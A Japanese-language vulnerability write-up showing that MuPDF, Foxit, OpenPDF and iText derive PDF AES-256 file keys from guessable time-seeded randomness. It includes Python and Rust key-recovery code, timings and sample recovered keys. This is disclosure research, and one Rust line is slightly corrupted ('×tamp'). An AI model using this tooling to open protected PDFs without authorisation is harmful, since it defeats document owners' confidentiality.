PDF の AES-256 鍵に残ったのは 9 ビットの乱数だけ
MuPDF は drand48 で PDF の AES-256 ファイル鍵を作り、タイムスタンプから鍵に届くのは 9 ビットだけ。Foxit はタイムスタンプと未初期化の 32 バイトをまとめてハッシュしている。V12 の復号ツールはミリ秒で鍵を総当たりし、パスワードなしで開けてしまう。
日本語
コピー

いくつかの PDF 実装では、AES-256 のファイル鍵を、列挙できるほど小さな状態空間から生成していることがわかった。MuPDF では、実際の AES-256 鍵に影響する乱数状態はわずか 9 ビットしかない。Foxit など他の PDF エディタも、時刻に基づく乱数から AES-256 鍵を生成しており、やはり復元が容易な鍵になる。
はじめに
PDF の暗号化は、PDF 文書内の文字列とデータストリームを保護する。メタデータも、明示的に暗号化しない設定にしない限り対象に含まれる。パスワード保護の仕組みは長年にわたり何度も改訂され、RC4 から AES へ移行し、ブルートフォース攻撃に対するパスワードハッシュの強度も高めてきた。現在のバージョンであるリビジョン 6 は AES-256 を使う。
PDF を AES-256 で暗号化するとき、パスワードが文書を直接暗号化するわけではない。実装はランダムな 32 バイトのファイル鍵を生成し、これで内容を暗号化する。次にパスワードとソルトをハッシュして別の鍵を導出し、この鍵で 32 バイトのファイル鍵を暗号化する。リビジョン 6 ではこのハッシュ計算が意図的に遅くなるよう設計されている。古い AES-256 のリビジョン 5 にはその仕組みがない。
PDF には、閲覧用のユーザーパスワードと、権限を変更するためのオーナーパスワードを設定できる。どちらでも同じファイル鍵を解錠できるため、制限が効くかどうかはリーダー次第だ。閲覧用パスワードを使えば、制限のないコピーも作れてしまう。
この乱数が非常に不安全に生成されていることが多く、保護された PDF をパスワードなしで復号できることがわかった。
MuPDF
1.28.5 より前の MuPDF は、乱数の生成にdrand48 ファミリーの実装を使っている。この生成器のシードは、現在のエポック秒を使って一度だけ設定される:
static void fz_init_random_context(fz_context *ctx)
{
/* ... */
fz_srand48(ctx, (uint32_t)time(NULL));
}
この生成器は 48 ビットの線形合同法である:
fz_srand48() は状態を 3 つの 16 ビットワードとして書き出す。下位ワードは定数 0x330e で、32 ビットのタイムスタンプが状態のビット 16 から 47 を占める:
void fz_srand48(fz_context *ctx, int32_t seed)
{
uint16_t p[3] = { 0x330e, seed, seed>>16 };
fz_seed48(ctx, p);
}
MuPDF が鍵を生成する必要があるときは fz_memrnd() を呼び出す。この関数は乱数を繰り返し取得し、乱数生成器を 1 ステップ進めてから、その乱数の最下位バイトをランダムバイトとして使う。
int32_t fz_nrand48(fz_context *ctx, uint16_t s[3])
{
return fz_rand48_step(s, ctx->seed48+3) >> 17;
}
/* in fz_memrnd() */
while (len-- > 0)
*data++ = (unsigned char)fz_lrand48(ctx);
シフトによって状態のビット 0 から 16 が捨てられ、unsigned char へのキャストでビット 24 より上がすべて捨てられる。したがって、出力される各バイトは LCG 状態のビット 17 から 24 に由来する。
問題は、状態の上位ビットが下位ビットにまったく影響しないことだ。乗算と加算はビットを上へ繰り上げることはできても、下へは繰り下げられない。各出力バイトはビット 17 から 24 に由来するため、生成器を進めた後でもビット 24 より上は無視できる。
出力に影響しうるのは 25 ビットだけになる。下位 16 ビットは常に 0x330e で初期化されるので、タイムスタンプのうち意味を持つのは 9 ビットだけだ。512 秒異なるタイムスタンプはまったく同じバイト列を生み出す。
鍵空間がこれだけ小さいので、考えられる 32 バイトの鍵をすべて生成して試し復号する総当たりで片付く:
def stream(seed, count):
state = (seed << 16) | 0x330e
out = bytearray()
for _ in range(count):
state = (0x5deece66d * state + 0xb) & ((1 << 48) - 1)
out.append((state >> 17) & 0xff)
return bytes(out)
candidates = [stream(seed, 64)[32:64] for seed in range(512)]
MuPDF は文書 /ID にも同じ生成器を使う。これはトレーラーに平文で格納されている。新しい文書を書き出すときは、まず同じ LCG から 32 バイトを取得し、その直後に復号鍵をサンプリングするので、/ID を追加の確認に使える。
最適化を一切していない純粋な総当たりの Python 実装で 512 通りのストリームをすべて探索しても、およそ 11 ミリ秒しかかからない。テスト文書では:
time(NULL) mod 512 = 80
/ID[0] = 7628523958da31d6c21c90e39344b28e
/ID[1] = 8be910bddaa1f1a542e5a27ceb115346
key = c3888ecc8ff554ac93acd689da2ecd6223cb760168622e8a0c44a533a037c212
この鍵はどちらのパスワードもなしに文書を復号する。
Foxit
Foxit PDF Reader 2026.1.3.36551 は、現在のタイムスタンプ、初期化されていない 32 バイト、および定数のハッシュとしてファイル鍵を導出する。実際にはこの未初期化バイトはゼロで埋められており、ランダム性を一切加えない。
SHA-256(uint32_le(time(NULL)) || <32 uninitialized bytes> || "there")
同等の Python スニペットにするとこうなる:
from hashlib import sha256
key = sha256(timestamp.to_bytes(4, "little") + bytes(32) + b"there").digest()
/Perms のパーミッションブロックには既知の平文が含まれているので、候補の確認はハッシュ 1 回と AES ブロック復号 1 回で済む。パスワードのハッシュも文書の復号も不要だ:
let mut material = [0u8; 41];
material[..4].copy_from_slice(×tamp.to_le_bytes());
material[36..].copy_from_slice(b"there");
let key: [u8; 32] = Sha256::digest(material).into();
let cipher = Aes256::new(&key.into());
let mut plain = Block::<Aes256>::from(self.perms);
cipher.decrypt_block(&mut plain);
// Check for some known magic values to indicate successful decryption
(plain[..4] == self.permissions
&& plain[4..8] == [0xff; 4]
&& plain[8] == self.metadata
&& plain[9..12] == *b"adb")
.then_some(key)
Rust 実装では現在時刻から過去方向へタイムスタンプを探索し、マルチスレッド化に Rayon を使っている。32 スレッドの Ryzen 9 7950X で毎秒 3 億 7000 万から 3 億 7600 万個のタイムスタンプを処理し続ける:
| 対象タイムスタンプ | 試行した候補数 | 探索時間 |
|---|---|---|
| 10 年前 | 315,573,571 | 0.84 秒 |
| Unix エポック | 1,792,610,110 | 4.85 秒 |
2 行目は 1970 年から現在までのすべてのタイムスタンプを網羅する。実際には、比較的最近生成された文書ならミリ秒単位で済む。
timestamp = 1787583328
key = 41474b490265500f9727f21f1dde34be31bcdfc3830e2dc027daabe5b5984081
/Perms = fcfbffffffffffff54616462f67f0000 (decrypted)
この鍵導出はどこから来たのか
まったく同じパターンが複数の PDF 編集ソフトで見つかったので、その出どころが気になった。すでに 2014 年 5 月の PDFium の最初の公開コミットに含まれていた。ファイルヘッダには元のコードの著作権者としてFoxitが記されているので、このコードはFoxit由来のようだ。他のエディタはPDFium経由で取り込んだ可能性がある:
if (m_Revision >= 5) {
int t = (int)time(NULL);
uint8_t sha[128];
CRYPT_SHA256Start(sha);
CRYPT_SHA256Update(sha, (uint8_t*)&t, sizeof t);
CRYPT_SHA256Update(sha, m_EncryptKey, 32);
CRYPT_SHA256Update(sha, (uint8_t*)"there", 5);
CRYPT_SHA256Finish(sha, m_EncryptKey);
/* ... */
中央の 32 バイトの値は m_EncryptKey で、鍵バッファの未初期化の中身がそのまま自分自身にハッシュ化されて入っている。このバイト列がゼロ埋めされていると仮定すると、Foxit が今も使っている鍵導出とまったく同じになる。
OpenPDF と iText
OpenPDF 3.0.5 と iText 9.7.1 はどちらも、暗号論的乱数を IVGenerator クラス経由で生成する。これはミリ秒のタイムスタンプと JVM の空きメモリでシードした ARC4 ストリームだ:
arcfour = new ARCFOUREncryption();
long time = System.currentTimeMillis();
long mem = Runtime.getRuntime().freeMemory();
String s = time + "+" + mem;
arcfour.prepareARCFOURKey(s.getBytes());
同じストリームからファイル鍵と 32 バイトのソルトを生成し、ソルトは /U と /O に平文で保存される。タイムスタンプと空きメモリの候補をこのソルトと照合すれば、隣接するバイト列から鍵を復元できる。
MuPDF や Foxit の例に比べればばらつきはかなり大きいが、256 ビットの安全性という触れ込みが、安全でない乱数源と公称より狭い状態空間によって損なわれていることがここでも分かる。
まとめ
ここで挙げた実装はいずれも、暗号論的に安全でない乱数源からファイル鍵を生成している。ユーザーのパスワードから導出する旧来のファイル鍵に対するセキュリティ強化のはずが、実際にはかえって弱い鍵を生む結果になった。これらの問題は各ベンダーに開示し、MuPDF については修正済みだ。ただし、すでに公開されたコピーを遡って保護することはできないため、これらのバグは今も影響を及ぼしうる。
MuPDF と Foxit の復号ツールを公開しました。